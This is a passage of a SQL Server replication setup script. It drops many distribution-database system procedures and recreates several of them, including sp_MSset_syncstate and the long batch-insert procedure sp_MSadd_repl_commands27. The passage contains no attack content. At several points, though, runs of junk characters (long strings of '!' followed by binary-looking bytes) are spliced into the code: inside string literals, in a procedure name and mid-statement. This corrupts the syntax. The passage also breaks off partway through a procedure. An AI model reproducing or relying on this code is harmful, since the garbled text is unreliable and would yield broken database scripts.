      DROP PROCEDURE sp_MShelp_snapshot_agentid

IF EXISTS (select * from sys.objects where
   name = ''sp_MShelp_logreader_agentid'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_logreader_agentid

IF EXISTS (select * from sys.objects where
   name = ''sp_MShelp_merge_agentid'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_merge_agentid

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_replication_status'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_replication_status

IF EXISTS (select * from sys.objects where
   name = ''sp_MSagent_stethoscope'' and type = ''P'')
      DROP PROCEDURE sp_MSagent_stethoscope

IF EXISTS (select * from sys.objects where
   name = ''sp_MSlock_distribution_agent'' and type = ''P'')
      DROP PROCEDURE sp_MSlock_distribution_agent

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdetect_nonlogged_shutdown'' and type = ''P'')
      DROP PROCEDURE sp_MSdetect_nonlogged_shutdown

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdistpublisher_cleanup'' and type = ''P'')
      DROP PROCEDURE sp_MSdistpublisher_cleanup

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenumerate_PAL'' and type = ''P'')
      DROP PROCEDURE sp_MSenumerate_PAL
      
IF EXISTS (select * from sys.objects where
   name = ''sp_MSpublication_access'' and type = ''P'')
      DROP PROCEDURE sp_MSpublication_access

IF EXISTS (select * from sys.objects where
   name = ''sp_MScheck_pull_access'' and type = ''P'')
      DROP PROCEDURE sp_MScheck_pull_access


')
    if @@error <> 0 return 1
    exec('IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_6x_publication'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_6x_publication

IF EXISTS (select * from sys.objects where
   name = ''sp_MShelp_distribution_agentid'' and type = ''P'')
      DROP PROCEDURE sp_MShelp_distribution_agentid

')
    if @@error <> 0 return 1
    exec('
IF EXISTS (select * from sys.objects where
   name = ''sp_MScheck_tran_retention'' and type = ''P'')
      DROP PROCEDURE sp_MScheck_tran_retention

')
    if @@error <> 0 return 1
    exec('
IF EXISTS (select * from sys.objects where
   name = ''sp_MSreinit_subscription'' and type = ''P'')
      DROP PROCEDURE sp_MSreinit_subscription

')
    if @@error <> 0 return 1
    exec('
IF EXISTS (select * from sys.objects where
   name = ''sp_MSmarkreinit'' and type = ''P'')
      DROP PROCEDURE sp_MSmarkreinit

')
    if @@error <> 0 return 1
    exec('
IF EXISTS (select * from sys.objects where
   name = ''sp_MSbrowsesnapshotfolder'' and type = ''P'')
      DROP PROCEDURE sp_MSbrowsesnapshotfolder

')
    if @@error <> 0 return 1
    exec('
IF EXISTS (select * from sys.objects where
   name = ''sp_MSquery_syncstates'' and type = ''P'')
      DROP PROCEDURE sp_MSquery_syncstates

')
    if @@error <> 0 return 1
    exec('
IF EXISTS (select * from sys.objects where
   name = ''sp_MSdist_adjust_identity'' and type = ''P'')
      DROP PROCEDURE sp_MSdist_adjust_identity

IF EXISTS (select * from sys.objects where
   name = ''sp_MSchange_subscription_dts_info'' and type = ''P'')
      DROP PROCEDURE sp_MSchange_subscription_dts_info

IF EXISTS (select * from sys.objects where
   name = ''sp_MSget_subscription_dts_info'' and type = ''P'')
      DROP PROCEDURE sp_MSget_subscription_dts_info

')
    if @@error <> 0 return 1
    exec('
IF EXISTS (select * from sys.objects where
   name = ''sp_MSenumdistributionagentproperties'' and type = ''P'')
      DROP PROCEDURE sp_MSenumdistributionagentproperties

IF EXISTS (select * from sys.objects where
   name = ''sp_MSenum_merge_agent_properties'' and type = ''P'')
      DROP PROCEDURE sp_MSenum_merge_agent_properties

IF EXISTS (select * from sys.objects where
   name = ''sp_MSinsert_identity'' and type = ''P'')
      DROP PROCEDURE sp_MSinsert_identity

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadjust_pub_identity'' and type = ''P'')
      DROP PROCEDURE sp_MSadjust_pub_identity    

IF EXISTS (select * from sys.objects where
   name = ''sp_MScheck_pub_identity'' and type = ''P'')
      DROP PROCEDURE sp_MScheck_pub_identity    

IF EXISTS (select * from sys.objects where
   name = ''sp_dropanonymoussubscription'' and type = ''P'')
      DROP PROCEDURE sp_dropanonymoussubscription

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdrop_anonymous_entry'' and type = ''P'')
      DROP PROCEDURE sp_MSdrop_anonymous_entry

IF EXISTS (select * from sys.objects where
   name = ''sp_MSadddynamicsnapshotjobatdistributor'' and type = ''P'')
      DROP PROCEDURE sp_MSadddynamicsnapshotjobatdistributor

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdeleterepljob'' and type = ''P'')
      DROP PROCEDURE sp_MSdeleterepljob

IF EXISTS (select * from sys.objects where
   name = ''sp_MSdeletefoldercontents'' and type = ''P'')
      DROP PROCEDURE sp_MSdeletefoldercontents

IF EXISTS (select * from sys.objects where
   name = ''sp_MSinvalidate_snapshot'' and type = ''P'')
      DROP PROCEDURE sp_MSinvalidate_snapshot

IF EXISTS (select * from sys.objects where
   name = ''sp_MSrepl_init_backup_lsns'' and type = ''P'')
      DROP PROCEDURE sp_MSrepl_init_backup_lsns

IF EXISTS (select * from sys.objects where
   name = ''sp_MSispublicationqueued'' and type = ''P'')
      DROP PROCEDURE sp_MSispublicationqueued

if exists (select * from sys.objects 
        where type = ''P'' and
        name = ''sp_MSwritemergeperfcounter'')
        drop procedure sp_MSwritemergeperfcounter

if exists (select * from sys.objects 
        where type = ''P'' and
        name = ''sp_browseagentcmds'')
        drop procedure sp_browseagentcmds

IF EXISTS (SELECT * FROM sys.objects WHERE
    name = ''sp_MSsetupnosyncsubwithlsnatdist'' and type = ''P'')
        DROP PROCEDURE sp_MSsetupnosyncsubwithlsnatdist

')
    if @@error <> 0 return 1
    exec('
if object_id(''dbo.sp_MSadd_tracer_history'', ''local'') is not null
	drop procedure dbo.sp_MSadd_tracer_history

')
    if @@error <> 0 return 1
    exec('if object_id(''dbo.sp_MSupdate_subscriber_tracer_history'', ''local'') is not null
	drop procedure dbo.sp_MSupdate_subscriber_tracer_history

')
    if @@error <> 0 return 1
    exec('if object_id(''dbo.sp_MSupdate_tracer_history'', ''local'') is not null
	drop procedure dbo.sp_MSupdate_tracer_history

')
    if @@error <> 0 return 1
    exec('if object_id('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(chL"}<vZt'dbo.sp_MSdelete_tracer_history'', ''local'') is not null
	drop procedure dbo.sp_MSdelete_tracer_history

if object_id(''dbo.sp_MSislogreaderjobnamegenerated'', ''local'') is not null
    drop procedure dbo.sp_MSislogreaderjobnamegenerated

if object_id(''dbo.sp_MSisqueuereaderjobnamegenerated'', ''local'') is not null
    drop procedure dbo.sp_MSisqueuereaderjobnamegenerated

if object_id(''dbo.sp_MSissnapshotjobnamegenerated'', ''local'') is not null
    drop procedure dbo.sp_MSissnapshotjobnamegenerated

if object_id(''dbo.sp_MSisdistributionjobnamegenerated'', ''local'') is not null
    drop procedure dbo.sp_MSisdistributionjobnamegenerated

if object_id(''dbo.sp_MSismergejobnamegenerated'', ''local'') is not null
    drop procedure dbo.sp_MSismergejobnamegenerated

if object_id(N''dbo.sp_MSget_undelivered_commands'', ''local'') is not null
    drop procedure dbo.sp_MSget_undelivered_commands

if object_id(N''dbo.sp_MSget_anonymous_cmds'', ''local'') is not null
    drop procedure dbo.sp_MSget_anonymous_cmds

if object_id(N''dbo.sp_MSget_loopback_cmds'', ''local'') is not null
    drop procedure dbo.sp_MSget_loopback_cmds

if object_id(N''dbo.sp_browsereplcmds'', ''local'') is not null
    drop procedure dbo.sp_browsereplcmds

if object_id(N''dbo.sp_dumpparamcmd'', ''local'') is not null
    drop procedure dbo.sp_dumpparamcmd

if object_id(N''dbo.sp_MSadd_repl_commands27hp_mcit'', ''local'') is not null
    drop procedure dbo.sp_MSadd_repl_commands27hp_mcit

if object_id(N''dbo.sp_MSadd_repl_commands27hp6x'', ''local'') is not null
    drop procedure dbo.sp_MSadd_repl_commands27hp6x

')
    if @@error <> 0 return 1
    exec('
/****************************************************************************/
PRINT ''''
PRINT ''Dropping all distribution stored procedures and functions that are created locally''
PRINT ''''
/****************************************************************************/

if object_id(N''dbo.sp_MSadd_replcmds'', ''local'') is not null
	drop procedure dbo.sp_MSadd_replcmds

if object_id(N''dbo.sp_MSadd_repl_commands27'', ''local'') is not null
	drop procedure dbo.sp_MSadd_repl_commands27
      
if object_id(N''dbo.sp_MSremove_published_jobs'', ''local'') is not null
	drop procedure dbo.sp_MSremove_published_jobs
      
if object_id(N''dbo.sp_MSdistribution_cleanup'', ''local'') is not null
	drop procedure dbo.sp_MSdistribution_cleanup

if object_id(N''dbo.sp_MSsubscription_cleanup'', ''local'') is not null
	drop procedure dbo.sp_MSsubscription_cleanup

if object_id(N''dbo.sp_MSdistribution_delete'', ''local'') is not null
	drop procedure dbo.sp_MSdistribution_delete

if object_id(N''dbo.sp_MSmaximum_cleanup_seqno'', ''local'') is not null
	drop procedure dbo.sp_MSmaximum_cleanup_seqno

if object_id(N''dbo.sp_MSdelete_dodelete'', ''local'') is not null
	drop procedure dbo.sp_MSdelete_dodelete

if object_id(N''dbo.sp_MSdelete_publisherdb_trans'', ''local'') is not null
	drop procedure dbo.sp_MSdelete_publisherdb_trans

if object_id(N''dbo.sp_MShistory_cleanup'', ''local'') is not null
	drop procedure dbo.sp_MShistory_cleanup

if object_id(N''dbo.sp_MSget_repl_version'', ''local'') is not null
	drop procedure dbo.sp_MSget_repl_version

if object_id(N''dbo.sp_MSset_syncstate'', ''local'') is not null
	drop procedure dbo.sp_MSset_syncstate

if object_id(N''dbo.fn_MSmask_agent_type'', ''local'') is not null
	drop function dbo.fn_MSmask_agent_type

if object_id(N''dbo.sp_MSlog_agent_cancel'', ''local'') is not null
	drop procedure dbo.sp_MSlog_agent_cancel


')
    if @@error <> 0 return 1
    exec('
--
-- Name: fn_MSmask_agent_type
--
-- Descriptions: 
-- This function is used internally by other stored procedures to mark the agent type.
-- Only distribution agents and merge agents should use this function.
-- BUGBUG: Is this obsolete ?
--
-- Parameters: as defined in create statement
--
-- Returns: int
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''fn_MSmask_agent_type'')

')
    if @@error <> 0 return 1
    exec('create function dbo.fn_MSmask_agent_type(
    @agent_id int,
	@agent_type int
    ) returns int
as
begin
	declare @anonymous_mask int
	select @anonymous_mask = 0x80000000
	if @agent_type = 3 -- If dist agent
	begin
		if exists (select * from MSdistribution_agents where id = @agent_id and 
			subscriber_name is not null)
			select @agent_type = 3 | @anonymous_mask
		else
			select @agent_type = 3 
	end
	else if @agent_type = 4 -- if merge agent
	begin
		if exists (select * from dbo.MSmerge_agents where id = @agent_id and 
			anonymous_subid is not null)
			select @agent_type = 4 | @anonymous_mask
		else
			select @agent_type = 4 
	end
	-- if other agents, @agent_type will not change.
	return @agent_type
end

')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MSset_syncstate
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSset_syncstate'')

')
    if @@error <> 0 return 1
    exec('create procedure sp_MSset_syncstate
@publisher_id smallint, 
@publisher_db sysname, 
@article_id int, 
@sync_state int,  
@xact_seqno varbinary(16)
as
set nocount on 
declare @publication_id int

select top 1 @publication_id = s.publication_id 
from MSsubscriptions s
where 
s.publisher_id = @publisher_id and
s.publisher_db = @publisher_db and
s.article_id = @article_id     and
s.subscription_seqno < @xact_seqno


if @publication_id is not null
begin
	if( @sync_state = 1 )
	begin
		if not exists( select * from MSsync_states 
		               where publisher_id = @publisher_id and
					   publisher_db = @publisher_db and
					   publication_id = @publication_id )
		begin
			insert into MSsync_states( publisher_id, publisher_db, publication_id )
			values( @publisher_id, @publisher_db, @publication_id )
		end
	end
	else if @sync_state = 0 
	begin
		
		delete MSsync_states 
		where 
		publisher_id = @publisher_id and
		publisher_db = @publisher_db and
		publication_id = @publication_id 

		-- activate the subscription(s) so the distribution agent can start processing
		declare @automatic int
		declare @active int	
		declare @initiated int

		select @automatic = 1
		select @active = 2
		select @initiated = 3

		-- set status to active, ss_cplt_seqno = commit LSN of xact containing
		-- syncdone token.  
		--
		-- VERY IMPORTANT:  We can only do this because we know that the publisher
		-- tables are locked in the same transaction that writes the SYNCDONE token.
		-- If the tables were NOT locked, we could get into a situation where data
		-- in the table was changed and committed between the time the SYNCDONE token was
		-- written and the time the SYNCDONE xact was committed.  This would cause the
		-- logreader to replicate the xact with no compensation records, but the advance
		-- of the ss_cplt_seqno would cause the dist to skip that command since only commands
		-- with the snapshot bit set will be processed if they are <= ss_cplt_seqno.
		--
		update MSsubscriptions 
		set status = @active,
			subscription_time = getdate(),
			ss_cplt_seqno = @xact_seqno		
		where
			publisher_id = @publisher_id and
			publisher_db = @publisher_db and
			publication_id = @publication_id and
			sync_type = @automatic and
			status in( @initiated ) and
			ss_cplt_seqno <= @xact_seqno	
	end
end

')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MSadd_repl_commands27
--
-- Descriptions: this procedure is used by replication agent
-- to directly insert commands in distribution queue.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSad!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(dhL$!	vZtd_repl_commands27'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSadd_repl_commands27
(
@publisher_id smallint,
@publisher_db sysname,
@xact_id varbinary(16) = 0x0,
@xact_seqno varbinary(16) = 0x0,
@originator sysname,
@originator_db sysname,
@article_id int,
@command_id int,
@type int = 0,
@partial_command bit,
@command varbinary(1024),

@1xact_id varbinary(16) = 0x0,

@1xact_seqno varbinary(16) = 0x0,
@1originator sysname = NULL,
@1originator_db sysname = NULL,
@1article_id int = 0,
@1command_id int = 0,
@1type int = 0,
@1partial_command bit = 0,
@1command varbinary(1024) = NULL,

@2xact_id varbinary(16) = 0x0,

@2xact_seqno varbinary(16) = 0x0,
@2originator sysname = NULL,
@2originator_db sysname = NULL,
@2article_id int = 0,
@2command_id int = 0,
@2type int = 0,
@2partial_command bit = 0,
@2command varbinary(1024) = NULL,

@3xact_id varbinary(16) = 0x0,

@3xact_seqno varbinary(16) = 0x0,
@3originator sysname = NULL,
@3originator_db sysname = NULL,
@3article_id int = 0,
@3command_id int = 0,
@3type int = 0,
@3partial_command bit = 0,
@3command varbinary(1024) = NULL,

@4xact_id varbinary(16) = 0x0,

@4xact_seqno varbinary(16) = 0x0,
@4originator sysname = NULL,
@4originator_db sysname = NULL,
@4article_id int = 0,
@4command_id int = 0,
@4type int = 0,
@4partial_command bit = 0,
@4command varbinary(1024) = NULL,

@5xact_id varbinary(16) = 0x0,

@5xact_seqno varbinary(16) = 0x0,
@5originator sysname = NULL,
@5originator_db sysname = NULL,
@5article_id int = 0,
@5command_id int = 0,
@5type int = 0,
@5partial_command bit = 0,
@5command varbinary(1024) = NULL,

@6xact_id varbinary(16) = 0x0,

@6xact_seqno varbinary(16) = 0x0,
@6originator sysname = NULL,
@6originator_db sysname = NULL,
@6article_id int = 0,
@6command_id int = 0,
@6type int = 0,
@6partial_command bit = 0,
@6command varbinary(1024) = NULL,

@7xact_id varbinary(16) = 0x0,

@7xact_seqno varbinary(16) = 0x0,
@7originator sysname = NULL,
@7originator_db sysname = NULL,
@7article_id int = 0,
@7command_id int = 0,
@7type int = 0,
@7partial_command bit = 0,
@7command varbinary(1024) = NULL,

@8xact_id varbinary(16) = 0x0,

@8xact_seqno varbinary(16) = 0x0,
@8originator sysname = NULL,
@8originator_db sysname = NULL,
@8article_id int = 0,
@8command_id int = 0,
@8type int = 0,
@8partial_command bit = 0,
@8command varbinary(1024) = NULL,

@9xact_id varbinary(16) = 0x0,

@9xact_seqno varbinary(16) = 0x0,
@9originator sysname = NULL,
@9originator_db sysname = NULL,
@9article_id int = 0,
@9command_id int = 0,
@9type int = 0,
@9partial_command bit = 0,
@9command varbinary(1024) = NULL,

@10xact_id varbinary(16) = 0x0,

@10xact_seqno varbinary(16) = 0x0,
@10originator sysname = NULL,
@10originator_db sysname = NULL,
@10article_id int = 0,
@10command_id int = 0,
@10type int = 0,
@10partial_command bit = 0,
@10command varbinary(1024) = NULL,

@11xact_id varbinary(16) = 0x0,

@11xact_seqno varbinary(16) = 0x0,
@11originator sysname = NULL,
@11originator_db sysname = NULL,
@11article_id int = 0,
@11command_id int = 0,
@11type int = 0,
@11partial_command bit = 0,
@11command varbinary(1024) = NULL,

@12xact_id varbinary(16) = 0x0,

@12xact_seqno varbinary(16) = 0x0,
@12originator sysname = NULL,
@12originator_db sysname = NULL,
@12article_id int = 0,
@12command_id int = 0,
@12type int = 0,
@12partial_command bit = 0,
@12command varbinary(1024) = NULL,

@13xact_id varbinary(16) = 0x0,

@13xact_seqno varbinary(16) = 0x0,
@13originator sysname = NULL,
@13originator_db sysname = NULL,
@13article_id int = 0,
@13command_id int = 0,
@13type int = 0,
@13partial_command bit = 0,
@13command varbinary(1024) = NULL,

@14xact_id varbinary(16) = 0x0,

@14xact_seqno varbinary(16) = 0x0,
@14originator sysname = NULL,
@14originator_db sysname = NULL,
@14article_id int = 0,
@14command_id int = 0,
@14type int = 0,
@14partial_command bit = 0,
@14command varbinary(1024) = NULL,

@15xact_id varbinary(16) = 0x0,

@15xact_seqno varbinary(16) = 0x0,
@15originator sysname = NULL,
@15originator_db sysname = NULL,
@15article_id int = 0,
@15command_id int = 0,
@15type int = 0,
@15partial_command bit = 0,
@15command varbinary(1024) = NULL,

@16xact_id varbinary(16) = 0x0,

@16xact_seqno varbinary(16) = 0x0,
@16originator sysname = NULL,
@16originator_db sysname = NULL,
@16article_id int = 0,
@16command_id int = 0,
@16type int = 0,
@16partial_command bit = 0,
@16command varbinary(1024) = NULL,

@17xact_id varbinary(16) = 0x0,

@17xact_seqno varbinary(16) = 0x0,
@17originator sysname = NULL,
@17originator_db sysname = NULL,
@17article_id int = 0,
@17command_id int = 0,
@17type int = 0,
@17partial_command bit = 0,
@17command varbinary(1024) = NULL,

@18xact_id varbinary(16) = 0x0,

@18xact_seqno varbinary(16) = 0x0,
@18originator sysname = NULL,
@18originator_db sysname = NULL,
@18article_id int = 0,
@18command_id int = 0,
@18type int = 0,
@18partial_command bit = 0,
@18command varbinary(1024) = NULL,

@19xact_id varbinary(16) = 0x0,

@19xact_seqno varbinary(16) = 0x0,
@19originator sysname = NULL,
@19originator_db sysname = NULL,
@19article_id int = 0,
@19command_id int = 0,
@19type int = 0,
@19partial_command bit = 0,
@19command varbinary(1024) = NULL,

@20xact_id varbinary(16) = 0x0,

@20xact_seqno varbinary(16) = 0x0,
@20originator sysname = NULL,
@20originator_db sysname = NULL,
@20article_id int = 0,
@20command_id int = 0,
@20type int = 0,
@20partial_command bit = 0,
@20command varbinary(1024) = NULL,

@21xact_id varbinary(16) = 0x0,

@21xact_seqno varbinary(16) = 0x0,
@21originator sysname = NULL,
@21originator_db sysname = NULL,
@21article_id int = 0,
@21command_id int = 0,
@21type int = 0,
@21partial_command bit = 0,
@21command varbinary(1024) = NULL,

@22xact_id varbinary(16) = 0x0,

@22xact_seqno varbinary(16) = 0x0,
@22originator sysname = NULL,
@22originator_db sysname = NULL,
@22article_id int = 0,
@22command_id int = 0,
@22type int = 0,
@22partial_command bit = 0,
@22command varbinary(1024) = NULL,

@23xact_id varbinary(16) = 0x0,

@23xact_seqno varbinary(16) = 0x0,
@23originator sysname = NULL,
@23originator_db sysname = NULL,
@23article_id int = 0,
@23command_id int = 0,
@23type int = 0,
@23partial_command bit = 0,
@23command varbinary(1024) = NULL,

@24xact_id varbinary(16) = 0x0,

@24xact_seqno varbinary(16) = 0x0,
@24originator sysname = NULL,
@24originator_db sysname = NULL,
@24article_id int = 0,
@24command_id int = 0,
@24type int = 0,
@24partial_command bit = 0,
@24command varbinary(1024) = NULL,

@25xact_id varbinary(16) = 0x0,

@25xact_seqno varbinary(16) = 0x0,
@25originator sysname = NULL,
@25originator_db sysname = NULL,
@25article_id int = 0,
@25command_id int = 0,
@25type int = 0,
@25partial_command bit = 0,
@25command varbinary(1024) = NULL,

@26xact_id varbinary(16) = 0x0,

@26xact_seqno varbinary(16) = 0x0,
@26originator sysname = NULL,
@26originator_db sysname = NULL,
@26article_id int = 0,
@26command_id int = 0,
@26type int = 0,
@26partial_command bit = 0,
@26command varbinary(1024) = NULL
)
AS
begin
    SET NOCOUNT ON

    DECLARE @publisher_database_id int
    DECLARE @date datetime
    declare @originator_id int
	declare @syncstat int

    SELECT @date = GETDATE()

    -- Get publisher database id.
    SELECT @publisher_database_id = id from MSpublisher_databases where publisher_id = @publisher_id and 
        publisher_db = @publisher_db
    
    -- First insert into MS_repl_transactions
    IF @command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @xact_id,  @xact_seqno, @date)

    IF @1xact_id = 0x0
      goto INSERT_CMDS
    IF @1command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @1xact_id,  @1xact_seqno, @date)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(ehL* vZt

    IF @2xact_id = 0x0
      goto INSERT_CMDS
    IF @2command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @2xact_id,  @2xact_seqno, @date)
    
    IF @3xact_id = 0x0
      goto INSERT_CMDS
    IF @3command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @3xact_id,  @3xact_seqno, @date)

    IF @4xact_id = 0x0
      goto INSERT_CMDS
    IF @4command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
        @4xact_id,  @4xact_seqno, @date)

    IF @5xact_id = 0x0
      goto INSERT_CMDS

    IF @5command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @5xact_id,  @5xact_seqno, @date)

    IF @6xact_id = 0x0
      goto INSERT_CMDS
    IF @6command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @6xact_id,  @6xact_seqno, @date)

    IF @7xact_id = 0x0
      goto INSERT_CMDS
    IF @7command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @7xact_id,  @7xact_seqno, @date)

    IF @8xact_id = 0x0
      goto INSERT_CMDS
    IF @8command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @8xact_id,  @8xact_seqno, @date)

    IF @9xact_id = 0x0
      goto INSERT_CMDS
    IF @9command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @9xact_id,  @9xact_seqno, @date)

    IF @10xact_id = 0x0
      goto INSERT_CMDS
    IF @10command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @10xact_id,  @10xact_seqno, @date)

    IF @11xact_id = 0x0
      goto INSERT_CMDS
    IF @11command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @11xact_id,  @11xact_seqno, @date)

    IF @12xact_id = 0x0
      goto INSERT_CMDS
    IF @12command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @12xact_id,  @12xact_seqno, @date)

    IF @13xact_id = 0x0
      goto INSERT_CMDS
    IF @13command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @13xact_id,  @13xact_seqno, @date)

    IF @14xact_id = 0x0
      goto INSERT_CMDS
    IF @14command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @14xact_id,  @14xact_seqno, @date)

    IF @15xact_id = 0x0
      goto INSERT_CMDS
    IF @15command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @15xact_id,  @15xact_seqno, @date)

    IF @16xact_id = 0x0
      goto INSERT_CMDS
    IF @16command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @16xact_id,  @16xact_seqno, @date)

    IF @17xact_id = 0x0
      goto INSERT_CMDS
    IF @17command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @17xact_id,  @17xact_seqno, @date)

    IF @18xact_id = 0x0
      goto INSERT_CMDS
    IF @18command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @18xact_id,  @18xact_seqno, @date)

    IF @19xact_id = 0x0
      goto INSERT_CMDS
    IF @19command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @19xact_id,  @19xact_seqno, @date)

    IF @20xact_id = 0x0
      goto INSERT_CMDS
    IF @20command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @20xact_id,  @20xact_seqno, @date)

    IF @21xact_id = 0x0
      goto INSERT_CMDS
    IF @21command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @21xact_id,  @21xact_seqno, @date)

    IF @22xact_id = 0x0
      goto INSERT_CMDS
    IF @22command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @22xact_id,  @22xact_seqno, @date)

    IF @23xact_id = 0x0
      goto INSERT_CMDS
    IF @23command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @23xact_id,  @23xact_seqno, @date)

    IF @24xact_id = 0x0
      goto INSERT_CMDS
    IF @24command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @24xact_id,  @24xact_seqno, @date)

    IF @25xact_id = 0x0
      goto INSERT_CMDS
    IF @25command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @25xact_id,  @25xact_seqno, @date)

    IF @26xact_id = 0x0
      goto INSERT_CMDS
    IF @26command_id = 1
      INSERT INTO MSrepl_transactions VALUES (@publisher_database_id,
         @26xact_id,  @26xact_seqno, @date)

INSERT_CMDS:

    -- Get the originator_id for the first command 
    if @originator <> N'''' and @originator_db <> N'''' and @originator is not null and @originator_db is not null 
    begin 
        set @originator_id = null select @originator_id = id from MSrepl_originators where
            publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@originator) and
            dbname = @originator_db
        if @originator_id is null
        begin
            insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                (@publisher_database_id, @originator, @originator_db)
            select @originator_id = @@identity
        end
    end
    else
        select @originator_id = 0

    -- Now insert into MSrepl_commands
    IF @command IS NOT NULL
	begin
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @article_id, @syncstat, @xact_seqno
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @xact_seqno,@type, @article_id, 
            @originator_id, 
            @command_id, @partial_command, @command)
	end

    IF @1xact_id = 0x0
      return

    IF @1command IS NOT NULL
    begin
            if @1originator <> N'''' and @1originator_db <> N'''' and @1originator is not null and @1originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@1originator) and
                    dbname = @1originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @1originator, @1originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @1type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @1article_id, @syncstat, @1xact_seqno
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @1xact_seqno,@1type, @1article_id, 
            @originator_id, 
            @1command_id, @1partial_command, @1command)
    end

    IF @2xact_id = 0x0
      return
    IF @2command IS NOT NULL
    begin
            if @2originator <> N'''' and @2originator_db <> N'''' and @2originator is not null and @2originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@2originator) and
                    dbname = @2originator_db
                if !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(fhL.vZt@originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @2originator, @2originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @2type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @2article_id, @syncstat, @2xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @2xact_seqno,@2type, @2article_id, 
            @originator_id, 
            @2command_id, @2partial_command, @2command)
    end

    IF @3xact_id = 0x0
      return
    IF @3command IS NOT NULL
    begin
            if @3originator <> N'''' and @3originator_db <> N'''' and @3originator is not null and @3originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@3originator) and
                    dbname = @3originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @3originator, @3originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0

		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @3type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @3article_id, @syncstat, @3xact_seqno 
		end
    
